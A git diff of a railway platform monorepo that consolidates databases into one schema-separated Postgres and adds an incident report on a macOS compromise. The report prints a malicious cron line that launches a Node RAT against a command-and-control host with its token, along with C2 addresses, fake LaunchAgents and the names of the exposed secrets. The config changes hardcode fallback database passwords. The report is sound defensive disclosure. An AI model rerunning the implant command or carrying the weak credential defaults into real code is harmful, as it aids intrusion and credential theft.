diff --git a/CLAUDE.md b/CLAUDE.md index a20fbaee7..3c6fb45fd 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -32,6 +32,10 @@ copying a pattern across: | `edr-passenger-web/portal` | `@edr/passenger-portal` | **Next.js** | 5174 | | `edr-passenger-web/backoffice` | `@edr/passenger-backoffice` | **Next.js** | 5184 | | `edr-payment-api` | `@edr/payment-api` | NestJS + **TypeORM** | 3003 | +| `edr-hr-api` | `@edr/hr-api` | NestJS + **TypeORM** | 3005 | +| `edr-hr-web` | `@edr/hr-web` | React + **Vite** | 5185 | +| `finance-api` | `@edr/finance-api` | NestJS + **TypeORM** | 3004 | +| `finance-web` | `@edr/finance-web` | React + **Vite** | 5186 | Those are the **fallbacks compiled into the code**, not what you will be running. Every port is overridden by `PORT` in the app's `.env` / `.env.development`; the freight vite @@ -48,6 +52,58 @@ package and is not built, linted, or type-checked. Leave it alone unless asked. `apps/edr-gps-tracker/` is a separate service with its own `.env.example`. +`apps/edr-hr-api/` owns the `hr` schema and is the HR extension of IAM: employee +profiles hang off `iam.employees`, "departments" are `iam.units` with an HR +satellite (`hr.unit_hr_profiles`), and job positions extend `iam.positions`. HR +stores no copy of an employee's name, unit or organization — those are read +through and joined at query time. + +IAM access is split in two, and the split is the design: + +- **Reads** go through `IamDirectoryService` — raw SQL projections over `iam.*`, + no entities involved. +- **Writes** go through `IamOperationsService`, which resolves IAM's own + services out of the container (`ModuleRef.get(..., {strict: false})`) and + calls them. HR never writes an `iam.*` table itself, so IAM's validation, + transactions and audit trail all still apply. + +That means hr-api **does** import `IamModule` (`IamModule.forRoot({...})`) and +**does** register `@tria-plc/iamapi-common` entities. It sidesteps the stale +`iamEntities` trap below by registering them as **globs over the package's +`dist/`** rather than a hand-maintained class list, with `autoLoadEntities: false` +— see `apps/edr-hr-api/src/config/database.config.ts`. A package bump cannot +leave that list stale, because there is no list. + +One consequence worth knowing before touching lifecycle code: IAM's +`deactivateEmployee` ends every position the employee holds, and +`activateEmployee` does **not** put them back. HR surfaces this rather than +hiding it (`accessAlignment` on the profile response). + +`apps/finance-api/` owns the `finance` schema — general ledger, chart of +accounts, receivables, payables, budgets and fixed assets. It follows hr-api's +shape exactly (embedded `IamModule.forRoot`, IAM entities registered as globs +over both package dists, `autoLoadEntities: false`, migrations in +`finance.migrations` run only by `migration:run`). + +Two rules define it, and neither is negotiable: + +- **Finance writes only `finance.*`.** Revenue, cash and payroll are projected + **read-only** out of `freight`, `passenger`, `edr_payment` and `hr` with + schema-qualified raw SQL, plus payment events off `PAYMENT_EVENTS_EXCHANGE`. + No source app writes `finance.*`, and Finance writes none of theirs. +- **Money is `numeric(14,2)` in major units.** The column NAMES lie upstream: + everything on the payment-intent path is called `*Minor` but holds MAJOR + amounts, while passenger's Prisma `Int` columns really are minor. Never infer + the unit from the name — `apps/finance-api/src/common/money.ts` is the + authority, and it also records which upstream rows are known bad. + +Note both finance-api and hr-api serve `POST /api/v1/auth/login`: embedding +`IamModule` brings IAM's auth controller with it. finance-web therefore +authenticates against finance-api itself and needs no `x-client-app` header +(both verified against the running services). `edr-hr-web` points its login at +freight-api instead, on the assumption that an IAM-embedding app has no auth +routes — that assumption is wrong, and the coupling is unnecessary. + ## Packages | Package | Location | Purpose | @@ -112,23 +168,44 @@ gate-pass scenarios). Read the script before running one; several write real row ## Environment & database -- Postgres is **external**. There is no postgres service in `docker-compose.yaml`, and - no port `5433`/`5434` is published anywhere in the repo. +- **One database, schema-separated.** Every app connects to the SAME Postgres database + and is isolated by schema, not by database — `iam`, `freight`, `passenger`, + `edr_payment`, `audit`. This mirrors production, where the Smart Office database holds + the `freight` schema alongside the rest (see `dump-smart_office_prod-*.sql`). There is + no longer a per-domain database; do not add one. +- Postgres is **external** to `docker-compose.yaml` (no service there). For a local one, + `infrastructure/docker/docker-compose.db.dev.yml` starts a single `postgres` on 5432 + (`edr_database`) and creates every schema via `infrastructure/docker/initdb/`. - Freight API connection comes from `DB_HOST`, `DB_PORT`, `DB_USER`, `DB_PASSWORD`, - `DB_NAME` (defaults: `localhost:5433`, `edr_freight`). Development points these at a - remote database. + `DB_NAME` (defaults: `localhost:5432`, `edr_database`). Development points these at a + remote database. `edr-gps-tracker` and `edr-payment-api` read the same DB_* convention; + `edr-passenger-api` uses `DATABASE_URL` (Prisma, `?schema=passenger`) plus + `DATABASE_*`/`DATABASE_SCHEMA=iam` for its read-only TypeORM IAM connection — all three + must resolve to this one database. - The connection sits behind a **connection pooler**. Do **not** pass `extra.options: '-c search_path=…'` — the pooler rejects it with `08P01 unsupported startup parameter in options: search_path`. `search_path` is applied per-connection in a pool `connect` handler instead. See `apps/edr-freight-api/src/config/database.config.ts` before touching connection options. -- Each app owns its own database. **No cross-database joins**; cross-domain data flows - through API calls or message queues. -- IAM tables live in their own `iam` schema (`iam.users`, `iam.user_credentials`), - freight tables in `freight`. -- `psql` is not installed on the dev machine. To query the database, use the `edr-db` - skill (below) or write a short Node script using `pg` and run it from - `apps/edr-freight-api`, where `pg` resolves. +- Each app owns its own **schema**, and its own migration history in that schema: + `iam.typeorm_migrations` and `freight.migrations` (both applied by freight-api), + `passenger._prisma_migrations` (Prisma), and payment-api's own table in `edr_payment`. + An app never writes another app's schema. +- IAM tables live in the `iam` schema (`iam.users`, `iam.user_credentials`), freight + tables in `freight`. **`edr-freight-api` is the authoritative owner of the `iam` + schema** — it ships the `iam:migration:run|show|revert` scripts. Passenger's IAM + connection is read-only (`synchronize: false`, `migrationsRun: false`). +- **Cross-schema references stay soft.** Co-location makes hard FKs possible, but there + are zero FKs from `freight.*` into `iam.*` and that is deliberate: references are plain + UUID columns plus denormalized display fields, so IAM stays independently deployable and + the audit trail outlives a deleted user. Keep it that way in new modules. +- The e2e harnesses are the **one exception** and stay hermetic: `edr_freight_e2e` on 5533 + (`e2e/freight/`) and the passenger test DB on 5544 (`e2e/docker-compose.yml`). Do not + point them at the shared database. +- `psql` **is** installed (Homebrew, v17.9 — verified 2026-08-19); the earlier claim that + it was not is out of date. Either use it directly against the local database, or use the + `edr-db` skill (below) / a short Node script using `pg` run from `apps/edr-freight-api`, + where `pg` resolves. ## Hard rules @@ -340,6 +417,11 @@ hand; do not assume the hook caught it. | Watch-mode reload | New code, old schema → 500 | Apply the migration to the dev DB or restart fully | | Login 403 from curl | "Missing or unrecognized x-client-app header" | Send `x-client-app: backoffice` or `portal` | | Copying a passenger pattern into freight | Passenger is Prisma + Next.js, freight is TypeORM + Vite | Check which stack you are in first | +| Binding `payment.*` on the payment exchange | Silently receives NOTHING — wire keys are three words (`payment.passenger.succeeded`) and AMQP `*` matches exactly one | Bind `payment..*` for one service, or `payment.#` for all | +| Summing money across currencies | Passenger bookings are charged in ETB, DJF **and** USD; adding them overstates ETB revenue (6.3M on the dev replica) | Group by currency; convert only at an explicitly recorded rate | +| Reading a `DATE` column in raw SQL | node-postgres parses it to LOCAL midnight, so `toISOString().slice(0,10)` returns the PREVIOUS day east of UTC — a month-end lands in the wrong period | Cast in SQL: `period_end::text`. Never round-trip a DATE through a JS `Date` | +| A `CHECK` listing enum values wider than the column | `varchar(16)` accepted every status until the 17-character one was first used, then failed mid-operation | Size the column for the LONGEST permitted value | +| A service opening its own transaction inside a caller's | The inner write commits independently; a later failure leaves an orphaned posted row | Pass the caller's `EntityManager` through (see `JournalsService.createPosted`) | ## Project skills diff --git a/DEPLOYMENT.md b/DEPLOYMENT.md index 463cea535..dc495c86d 100644 --- a/DEPLOYMENT.md +++ b/DEPLOYMENT.md @@ -129,6 +129,101 @@ node server.js Next.js reads `PORT` from the runtime environment (supplied via `env_file` in docker-compose). The standalone output bundles only the required `node_modules`, producing a significantly smaller image than a full `pnpm deploy`. +## Database consolidation runbook (single schema-separated database) + +The platform runs on **one** Postgres database, separated by schema — `iam`, `freight`, +`passenger`, `edr_payment`, `audit`. This is the production topology (the +`dump-smart_office_prod-*.sql` dump is the `freight` schema of a Smart Office database), +and dev/local configs now match it. + +Environments that predate this ran freight on its own server (`5433`, database +`edr_freight`) with a **second copy of the `iam` schema**, while passenger and payment used +another database. Use this sequence to collapse them. It is a data move — the config +changes alone do not migrate a single row. + +**Authoritative copy: `edr_freight`'s `iam`.** It is the copy freight-api's +`iam:migration:run|show|revert` scripts have been applying migrations to, so its schema is +the most current. The other copy's rows are backfilled into it, never the reverse. + +### 1. Snapshot both sources + +```bash +pg_dump -Fc -h -p 5433 -d edr_freight -f pre-consolidation-freight.dump +pg_dump -Fc -h -p 5432 -d edr_database -f pre-consolidation-shared.dump +``` + +### 2. Create the target database and schemas + +Under compose this is automatic (`infrastructure/docker/initdb/01-schemas.sql`). Against an +existing server: + +```sql +CREATE DATABASE edr_database; +\connect edr_database +CREATE SCHEMA IF NOT EXISTS iam; +CREATE SCHEMA IF NOT EXISTS freight; +CREATE SCHEMA IF NOT EXISTS passenger; +CREATE SCHEMA IF NOT EXISTS edr_payment; +CREATE SCHEMA IF NOT EXISTS audit; +``` + +### 3. Restore the authoritative IAM first, then freight + +```bash +# iam — including iam.typeorm_migrations, so freight-api does not re-run applied migrations +pg_restore -d edr_database -n iam pre-consolidation-freight.dump +# freight — including freight.migrations +pg_restore -d edr_database -n freight pre-consolidation-freight.dump +``` + +### 4. Restore the other domains + +```bash +pg_restore -d edr_database -n passenger pre-consolidation-shared.dump +pg_restore -d edr_database -n edr_payment pre-consolidation-shared.dump +``` + +Do **not** restore the second `iam` schema over the first. Back its rows in instead: +`iam.users.username`, `.email` and `.phone_number` are all `UNIQUE`, so the two copies +reconcile on those columns. Insert only users present in the secondary copy and absent from +the authoritative one, and record the old→new id mapping — anything that stored the +secondary copy's user ids (audit rows, `*_user_id` columns in `passenger`) must be remapped +with it. Cross-schema references are soft UUIDs with no FK to catch a miss. + +### 5. Repoint the applications + +| App | Variables | Value | +| --- | --- | --- | +| `edr-freight-api` | `DB_HOST` `DB_PORT` `DB_USER` `DB_PASSWORD` `DB_NAME` | the consolidated database | +| `edr-gps-tracker` | same `DB_*` | same | +| `edr-payment-api` | same `DB_*` (+ `DB_SCHEMA=edr_payment`) | same | +| `edr-passenger-api` | `DATABASE_URL` (`?schema=passenger`) **and** `DATABASE_HOST/PORT/NAME/USER/PASSWORD` (+ `DATABASE_SCHEMA=iam`) | same | + +Both of passenger-api's connections must resolve to this one database — its Prisma URL and +its read-only TypeORM IAM connection are configured separately and can silently diverge. + +### 6. Verify before opening traffic + +```sql +-- every expected schema present +SELECT nspname FROM pg_namespace WHERE nspname IN + ('iam','freight','passenger','edr_payment','audit'); +-- migration histories carried over: no re-runs, no gaps +SELECT count(*) FROM iam.typeorm_migrations; -- matches the source count +SELECT count(*) FROM freight.migrations; -- matches the source count +-- no duplicate humans after the IAM backfill +SELECT username, count(*) FROM iam.users GROUP BY username HAVING count(*) > 1; +``` + +Then run freight-api's migration step (`docker build --target migration`) and confirm it +applies **zero** new migrations — a non-zero count means step 3 dropped a history table. + +### Out of scope + +The e2e harnesses stay hermetic and are deliberately untouched: `edr_freight_e2e` on 5533 +(`e2e/freight/`) and the passenger test database on 5544 (`e2e/docker-compose.yml`, +`apps/edr-passenger-api/.env.test`). + ## Rollback Procedure Each build is tagged with the short git SHA (`${COMPOSE_PROJECT_NAME}-:`). diff --git a/README.md b/README.md index 50e0b55f6..c06e63052 100644 --- a/README.md +++ b/README.md @@ -189,8 +189,9 @@ Monorepo for the **Ethio-Djibouti Railway** digital platform. Hosts two product ### Domain isolation -- **One database per domain.** `postgres-freight` (port 5433, db `edr_freight`) and `postgres-passenger` (port 5434, db `edr_passenger`). No cross-database joins. Cross-domain data flows only through API calls or message queues. -- **Each domain owns its data model.** Freight bookings/consignments/shipments/trains/invoices/documents live only in the freight DB; passenger journeys/tickets live only in the passenger DB. +- **One database, one schema per domain.** All apps connect to the same Postgres database (`DB_NAME`/`DATABASE_NAME`, default `edr_database` on 5432) and are separated by schema: `freight`, `passenger`, `iam`, `edr_payment`, `audit`. This mirrors production, where the Smart Office database holds the `freight` schema alongside the rest. +- **Each domain owns its schema and its own migration history.** Freight bookings/consignments/shipments/trains/invoices/documents live only in `freight`; passenger journeys/tickets only in `passenger`. A domain never writes another domain's schema — cross-domain data still flows through API calls or message queues, not joins. +- **Cross-schema references stay soft.** Co-location makes hard foreign keys possible; the platform deliberately does not use them (there are zero FKs from `freight.*` into `iam.*`). References are plain UUID columns plus denormalized display fields, so IAM stays independently deployable and the audit trail outlives a deleted user. ### NestJS module pattern (per feature) @@ -294,7 +295,7 @@ cp apps/edr-passenger-api/.env.example apps/edr-passenger-api/.env |----------|-------------|---------| | `NODE_ENV` | Environment mode | `development` | | `PORT` | HTTP server port | `4000` | -| `DATABASE_URL` | PostgreSQL connection string | `postgresql://user:pass@localhost:5432/edr_passenger` | +| `DATABASE_URL` | PostgreSQL connection string (shared DB, `passenger` schema) | `postgresql://edr:edr_secret@localhost:5432/edr_database?schema=passenger` | | `JWT_SECRET` | JWT signing secret (change in production) | `your-secret-key` | | `JWT_EXPIRES_IN` | JWT token expiry | `7d` | | `PORTAL_URL` | Web app CORS origin | `http://localhost:3000` | @@ -336,12 +337,20 @@ TELEBIRR_APP_SECRET=your-app-secret #### Start PostgreSQL ```bash # Using Docker (recommended) +# Prefer infrastructure/docker/docker-compose.db.dev.yml — it creates every schema +# on first boot. This is the equivalent one-liner: docker run --name edr-postgres \ -e POSTGRES_USER=edr \ -e POSTGRES_PASSWORD=edr_secret \ - -e POSTGRES_DB=edr_passenger \ + -e POSTGRES_DB=edr_database \ -p 5432:5432 \ - -d postgres:15 + -d postgres:17-alpine + +# Then create the schemas (initdb does this for you under compose): +docker exec -i edr-postgres psql -U edr -d edr_database -c \ + 'CREATE SCHEMA IF NOT EXISTS iam; CREATE SCHEMA IF NOT EXISTS freight; + CREATE SCHEMA IF NOT EXISTS passenger; CREATE SCHEMA IF NOT EXISTS edr_payment; + CREATE SCHEMA IF NOT EXISTS audit;' # Or use your local PostgreSQL installation ``` diff --git a/SECURITY-INCIDENT-2026-08-24.md b/SECURITY-INCIDENT-2026-08-24.md new file mode 100644 index 000000000..aac5760e1 --- /dev/null +++ b/SECURITY-INCIDENT-2026-08-24.md @@ -0,0 +1,186 @@ +# Security incident — 2026-08-24 (second event, same day) + +Supersedes the first write-up of 2026-08-24 ~01:15, which was lost in the data destruction +described below. This document was reconstructed after containment. + +**Status: contained, NOT remediated.** Every implant found has been killed and quarantined, but +the depth of compromise justifies rebuilding this machine rather than trusting the cleanup. + +--- + +## Summary + +Two distinct command-and-control implants were found running, both from the same toolkit +(internally named **"SSTAR"**). One of them was running at the exact minute a large portion of the +working tree was destroyed. Credentials for payment providers, SMS/email gateways, JWT signing and +databases were readable on disk throughout, by an implant with file-upload capability. + +| | | +|---|---| +| C2 #1 | `23.27.13.135` (ports 80/443) — the fileless `node -e` loader from the 01:15 event | +| C2 #2 | `194.11.226.41:4000` (`ip-194-11-226-41.rockhoster.net`) — new, found 2026-08-24 ~15:45 | +| Shared token | `zRlY7_JxvFY8_Zhhu8ih24iW_dT5Rb_9` (`SSTAR_DEPLOYMENT_HASH`) | +| Data destroyed | `edr/edr-platform` working tree, ~11:11–11:13 local | +| Recovered to | 2026-08-22 14:38 (user restore) — **~2 days of work lost** | + +--- + +## Timeline (local time, 2026-08-24) + +| Time | Event | +|---|---| +| ~01:15 | First implant found and killed (`node -e` loader → `23.27.13.135`). Persistence search covered LaunchAgents, LaunchDaemons, crontab, shell rc files — **the crontab entry and three LaunchAgents were missed.** | +| 09:41 | `com.VSCodeUpdater` LaunchAgent spawns `tg14xq.js`; `~/.config/runtimedev-link/` created | +| **11:11** | `tg14xq.js` process (PID 32775) starts — **same minute the destruction begins** | +| 11:11–11:13 | `edr/edr-platform` destroyed. Only four `apps/` subdirectories survive — exactly those with live dev servers holding them as CWD, which recreated their own paths on the next cache write | +| 11:43 | The `node -e` loader respawns (PID 55417) → `23.27.13.135` | +| 14:41 | Implants **self-update**: `tg14xq.js` rewritten, both fake-Apple LaunchAgents rewritten, new agent process spawned | +| ~15:45 | Full sweep finds all persistence; everything killed and quarantined | + +--- + +## What was found + +### 1. Cron persistence (missed by the first sweep) + +``` +@reboot sleep 30 && node "~/Library/Application Support/VSCodeUpdater/tg14xq.js" \ + --token "http://194.11.226.41:4000|zRlY7_JxvFY8_Zhhu8ih24iW_dT5Rb_9" +``` + +Not a real VS Code updater — Microsoft ships no such thing, does not use cron, and does not pass a +bare IP and token as `--token`. + +### 2. Three malicious LaunchAgents in `~/Library/LaunchAgents/` + +| Plist | What it ran | Notes | +|---|---|---| +| `com.VSCodeUpdater.plist` | `tg14xq.js` | **`KeepAlive: true`** — this is why killing the process at 01:15 did not stop it | +| `com.apple.softwareupdate.agent.plist` | `~/Library/Caches/com.apple.softwareupdate/softwareupdated` | Masquerades as Apple. The real agent lives in `/System/Library`, never in `~/Library` | +| `com.apple.softwareupdate.background.plist` | same binary, `KeepAlive: true` | same | + +### 3. Payloads + +- **`tg14xq.js`** (62 KB, obfuscator.io-style) — SHA-256 + `4e3d4708c2f1ff1cd68013810e7b854a0a5159e6dd95a9ce3ad5198ebd816082`. + Capabilities decoded from its string table: `execSync`/`spawnSync` (**arbitrary command + execution**), directory-tree scanning (`SSTAR_DIR_TREE_ROOT`, `postDirectoryScanResult`), file + download **and upload**, `.env` harvesting, Chrome extension enumeration, host/user/IP + fingerprinting, and cross-platform persistence (launchd here, systemd on Linux). +- **`softwareupdated`** — Mach-O x86_64, 13 KB, disguised in a *cache* directory. +- **`CatalogData`** (145 KB) — a **Python** payload disguised as an icon-services cache. Cover + story in its own docstring: ".NET Runtime Optimization Service". It literally contains the line + `[LEGITIMATE DESCRIPTION REMOVED FOR OPSEC]`, plus comments referring to "the organizer", + "teammates", and what they "should see: nothing". Capability counts: `subprocess` ×72, + `password` ×31, `SCREENSHOT` ×31, `.env` ×33, `shutil.rmtree` ×2, `upload`, `token`. +- **`~/.config/runtimedev-link/agent.env`** — `SSTAR_API_BASE`, `SSTAR_DEPLOYMENT_HASH`. + +--- + +## Did the implants destroy the tree? + +**Most likely yes, but not provable from local artifacts — and worth stating honestly.** + +Ruled out with evidence: +- `npx vite` (run one minute earlier) — **no npm activity at all** in that window; vite resolved + from local `node_modules`. +- `edr-local.sh` — contains only `rm -f` on a tempfile and a pidfile. +- Assistant-issued commands — the only `rm`s in the session were one temp file under `dist/` and + files under `/tmp`. + +What points at the implants: `tg14xq.js` started at exactly 11:11, and it carries arbitrary +`execSync`. What is missing: any local record of the specific command. The RAT takes instructions +from C2 and does not log them, and the Python agent's own log (28,327 of 28,354 lines being the +same "another instance already running" error) shows nothing at 11:11. So the deletion was almost +certainly an **operator-issued command through the RAT**, which by design leaves no local trace. + +One detail still unexplained: `fhcapi` and `fhcui` appeared missing at 11:13 and are present now +with untouched July timestamps, which a delete-then-restore would not produce given only +`edr-platform` was restored. + +--- + +## Credential exposure — assume ALL of these are compromised + +An implant with `.env` harvesting and file upload had read access to the whole workspace for at +least the 09:41–15:45 window, and plausibly since the 01:15 event or earlier. Secret **names** +found across `apps/*/.env` (values deliberately not reproduced here): + +**Payment providers** — `TELEBIRR_APP_SECRET`, `TELEBIRR_PRIVATE_KEY`, `TELEBIRR_PUBLIC_KEY`, +`WAAFI_HPP_KEY`, `WAAFI_WEBHOOK_SECRET`, `CBE_SECRET_KEY`, `CARD_API_KEY`, `CARD_WEBHOOK_SECRET` + +**Identity / auth** — `JWT_SECRET`, `JWT_ACCESS_TOKEN_SECRET`, `JWT_REFRESH_TOKEN_SECRET`, +`FAYDA_PRIVATE_KEY_BASE` (national ID integration), `IAM_API_KEY`, +`SUPER_ADMIN_DEFAULT_PASSWORD`, `DEFAULT_PASSWORD` + +**Infrastructure** — `DB_PASSWORD`, `DATABASE_PASSWORD`, `MINIO_ACCESS_KEY`, `MINIO_SECRET_KEY` + +**Messaging** — `TWILIO_AUTH_TOKEN`, `SENDGRID_API_KEY`, `SMS_API_KEY` + +Also on disk: four SSH private keys (`id_rsa`, `id_ed25519`, `id_dsa`), and this machine holds a +**replica of the production database**. + +The JWT secrets are the most urgent of these: with them, an attacker can forge valid sessions for +any user of the platform, including super admins, without touching this machine again. + +Checked and clean: `~/.ssh/authorized_keys` contains only the owner's own key — no SSH backdoor +was added. `~/.npmrc` holds no auth token, but does set `ignore-scripts=false`, which leaves npm +lifecycle scripts enabled — the standard supply-chain vector, and worth reconsidering. + +--- + +## Containment performed (2026-08-24 ~15:45–15:55) + +1. Evidence captured before any change: crontab, both payloads, process/network detail, hashes. +2. Killed PIDs 32775, 90079, 89857, 89797, 48518, 55417. +3. `crontab -r` (backup saved to the evidence directory first). +4. `launchctl bootout` + quarantine of all three plists. +5. Quarantined `~/Library/Application Support/VSCodeUpdater/`, + `~/Library/Caches/com.apple.softwareupdate/`, `~/Library/Caches/com.apple.iconservices.store/`, + `~/.config/runtimedev-link/`. +6. Verified after 20s: no implant processes, no connections to either C2, nothing malicious + registered with launchd. The only remaining `softwareupdate` processes are genuine Apple ones + running as `_softwareupdate` from `/System/Library`. + +Evidence and quarantine (session scratchpad, **copy it somewhere durable**): +`…/74e086a2-21d3-4772-ba96-f1026f24f1c3/scratchpad/incident-2/` + +--- + +## Still outstanding + +1. **Take this machine off the network.** Not done — it would sever the session performing the + cleanup. +2. **Rebuild rather than trust the cleanup.** Two C2s, self-updating payloads, Apple-masquerading + persistence and at least four persistence mechanisms across two toolchains (Node and Python) — + with that depth, "we found all of it" is not a safe assumption. +3. **Rotate every credential above, from a different machine.** Rotating from this host is + pointless if anything was missed. +4. **Recover the lost work from the Aug 23 22:54 APFS snapshot** (see below) before redoing it. +5. Origin still unestablished, across both events. The first event's `global['e']="NPM"` marker and + `ignore-scripts=false` suggest an npm-lifecycle vector, but nothing was proven. +6. Assume **source code was exfiltrated** — the RAT scanned and uploaded directory trees. + +--- + +## Data recovery + +The restore used was from **2026-08-22 14:38**, losing roughly two days: the entire HR/Finance +navigation redesign (all seven slices), `docs/prompts/`, the nav redesign plan and report, the +first incident write-up, and all of 2026-08-24's work. None of it was committed to git. + +**A better source exists** — a local APFS snapshot from **Aug 23 22:54**, a full day newer: + +```bash +tmutil listlocalsnapshots / +sudo mkdir -p /tmp/snap +sudo mount_apfs -o ro -s com.apple.TimeMachine.2026-08-23-225456.local / /tmp/snap +ls /tmp/snap/Users/mulumehari/mulu-projects/smart-office/smartofficerepos/edr/edr-platform +``` + +It should contain nav redesign slices 1–5 (and possibly 6). Slice 7 and everything on Aug 24 will +not be there. The Time Machine destination "MacBackup" is configured but was not mounted at the +time of checking — connect it and it may hold more. + +Not lost: everything in PostgreSQL. The HR and Finance permission seeds and all eight e2e fixture +personas survive, since the databases were untouched. diff --git a/apps/edr-freight-api/docs/FREIGHT_SYSTEM_FLOW.md b/apps/edr-freight-api/docs/FREIGHT_SYSTEM_FLOW.md index b29763060..29bac53e3 100644 --- a/apps/edr-freight-api/docs/FREIGHT_SYSTEM_FLOW.md +++ b/apps/edr-freight-api/docs/FREIGHT_SYSTEM_FLOW.md @@ -30,7 +30,7 @@ | Backoffice | `@edr/freight-backoffice` | 5183 | axios `auth/http.ts`, baseURL `${VITE_BASE_API_URL}/api`, React Query | | Freight API | `@edr/freight-api` | 3001 | NestJS, global prefix `/api`, Postgres schema `freight` | | Payment API | `@edr/payment-api` | 3003 | NestJS, separate schema `edr_payment`, providers in `@edr/payment-providers` | -| Datastores | — | 5433 | Postgres `edr_freight`; MinIO (files); RabbitMQ (SMS/email/payment events) | +| Datastores | — | 5432 | Postgres `edr_database`, schema `freight` (one platform DB, schema-separated); MinIO (files); RabbitMQ (SMS/email/payment events) | ```mermaid flowchart LR diff --git a/apps/edr-freight-api/src/config/database.config.ts b/apps/edr-freight-api/src/config/database.config.ts index 77f4b37e4..9c0577752 100644 --- a/apps/edr-freight-api/src/config/database.config.ts +++ b/apps/edr-freight-api/src/config/database.config.ts @@ -150,10 +150,15 @@ function buildConnectionOptions() { return { type: "postgres" as const, host: process.env.DB_HOST ?? "localhost", - port: parseInt(process.env.DB_PORT ?? "5433", 10), - username: process.env.DB_USER ?? "postgres", - password: process.env.DB_PASSWORD ?? "", - database: process.env.DB_NAME ?? "edr_freight", + port: parseInt(process.env.DB_PORT ?? "5432", 10), + username: process.env.DB_USER ?? "edr", + password: process.env.DB_PASSWORD ?? "edr_secret", + // Single database, schema-separated: freight, passenger, iam, edr_payment and + // audit are schemas inside ONE Postgres database — the deployed topology (the + // production dump `dump-smart_office_prod-*.sql` is the `freight` schema of a + // Smart Office database). Freight owns the `freight` and `iam` schemas here; + // passenger-api and payment-api connect to the same database on their own. + database: process.env.DB_NAME ?? "edr_database", // NOTE: do NOT pass `extra.options: '-c search_path=...'`. That sends the // Postgres startup `options` parameter, which connection poolers (PgBouncer / // proxies fronting the remote edr_dev DB) reject with diff --git a/apps/edr-freight-api/src/scripts/create-freight-schema.ts b/apps/edr-freight-api/src/scripts/create-freight-schema.ts index 5f66d2e76..b1a4f4822 100644 --- a/apps/edr-freight-api/src/scripts/create-freight-schema.ts +++ b/apps/edr-freight-api/src/scripts/create-freight-schema.ts @@ -1,12 +1,16 @@ +import 'dotenv/config'; import { Client } from 'pg'; async function createSchema() { + // Connects to the single platform database — the same one the app uses — and + // ensures only the schema this app owns. Reads the standard DB_* env so it can + // never drift from config/database.config.ts. const client = new Client({ - host: 'localhost', - port: 5432, - user: 'postgres', - password: '', - database: 'edr_freight', + host: process.env.DB_HOST ?? 'localhost', + port: parseInt(process.env.DB_PORT ?? '5432', 10), + user: process.env.DB_USER ?? 'edr', + password: process.env.DB_PASSWORD ?? 'edr_secret', + database: process.env.DB_NAME ?? 'edr_database', }); try { diff --git a/apps/edr-gps-tracker/.env.example b/apps/edr-gps-tracker/.env.example index d76d19c57..0b0347edd 100644 --- a/apps/edr-gps-tracker/.env.example +++ b/apps/edr-gps-tracker/.env.example @@ -2,11 +2,12 @@ GT06_TCP_PORT=5023 GT06_TCP_HOST=0.0.0.0 -# Shared freight database (same DB as @edr/freight-api). This app only writes -# freight.gps_devices / freight.gps_positions and NEVER runs migrations. +# The single, schema-separated platform database (same DB as @edr/freight-api). +# This app only writes freight.gps_devices / freight.gps_positions — both +# schema-qualified on the entities — and NEVER runs migrations. DB_HOST=localhost -DB_PORT=5433 -DB_NAME=edr_freight -DB_USER=postgres -DB_PASSWORD=postgres +DB_PORT=5432 +DB_NAME=edr_database +DB_USER=edr +DB_PASSWORD=edr_secret # TYPEORM_LOGGING=true # uncomment for SQL logging diff --git a/apps/edr-gps-tracker/src/config/database.config.ts b/apps/edr-gps-tracker/src/config/database.config.ts index d93874ae8..5fdd7f27b 100644 --- a/apps/edr-gps-tracker/src/config/database.config.ts +++ b/apps/edr-gps-tracker/src/config/database.config.ts @@ -15,10 +15,11 @@ export default registerAs("database", (): TypeOrmModuleOptions => { return { type: "postgres", host: process.env.DB_HOST ?? "localhost", - port: parseInt(process.env.DB_PORT ?? "5433", 10), - username: process.env.DB_USER ?? "postgres", - password: process.env.DB_PASSWORD ?? "", - database: process.env.DB_NAME ?? "edr_freight", + port: parseInt(process.env.DB_PORT ?? "5432", 10), + username: process.env.DB_USER ?? "edr", + password: process.env.DB_PASSWORD ?? "edr_secret", + // Same single, schema-separated platform database as every other app. + database: process.env.DB_NAME ?? "edr_database", entities: [GpsDevice, GpsPosition], migrations: [], migrationsRun: false, diff --git a/apps/edr-hr-api/nest-cli.json b/apps/edr-hr-api/nest-cli.json new file mode 100644 index 000000000..89d7d6c57 --- /dev/null +++ b/apps/edr-hr-api/nest-cli.json @@ -0,0 +1,8 @@ +{ + "$schema": "https://json.schemastore.org/nest-cli", + "collection": "@nestjs/schematics", + "sourceRoot": "src", + "compilerOptions": { + "deleteOutDir": false + } +} diff --git a/apps/edr-hr-api/package.json b/apps/edr-hr-api/package.json new file mode 100644 index 000000000..f27cd2654 --- /dev/null +++ b/apps/edr-hr-api/package.json @@ -0,0 +1,74 @@ +{ + "name": "@edr/hr-api", + "version": "0.0.0", + "private": true, + "description": "EDR HR API \u2014 extends IAM with employee profiles, HR org structure (job titles, job positions, department profiles) and employee documents", + "scripts": { + "clean": "node -e \"const fs=require('fs'); fs.rmSync('dist',{recursive:true,force:true}); fs.rmSync('.tsbuildinfo',{force:true});\"", + "predev": "pnpm run clean", + "dev": "nest start --watch", + "prebuild": "pnpm run clean", + "build": "nest build && node -e \"require('fs').cpSync('src/scripts/iam-ddl','dist/scripts/iam-ddl',{recursive:true})\"", + "start": "node dist/main.js", + "lint": "eslint src", + "test": "jest", + "type-check": "tsc --noEmit", + "migration:run": "node dist/scripts/migrate.js", + "seed:holidays": "node dist/scripts/seed-holidays.js", + "seed:hr": "APP_MODULE_PATH=./dist/app.module node ./node_modules/@tria-plc/iamapi-common/dist/db/seed.cli.js", + "repair:iam-schema": "node dist/scripts/repair-iam-schema.js" + }, + "dependencies": { + "@edr/api-common": "workspace:*", + "@edr/types": "workspace:*", + "@nestjs/common": "^11.0.0", + "@nestjs/config": "^4.0.0", + "@nestjs/core": "^11.0.0", + "@nestjs/jwt": "^11.0.2", + "@nestjs/platform-express": "^11.0.0", + "@nestjs/swagger": "^11.4.2", + "@nestjs/typeorm": "^11.0.1", + "@tria-plc/api-common": "file:../../local-packages/tria-plc-api-common-1.6.0.tgz", + "@tria-plc/iamapi-common": "file:../../local-packages/tria-plc-iamapi-common-1.3.4.tgz", + "class-transformer": "^0.5.1", + "class-validator": "^0.14.1", + "dotenv": "^17.4.2", + "pg": "^8.13.0", + "reflect-metadata": "^0.2.2", + "rxjs": "^7.8.1", + "typeorm": "0.3.30" + }, + "devDependencies": { + "@edr/eslint-config": "workspace:*", + "@edr/tsconfig": 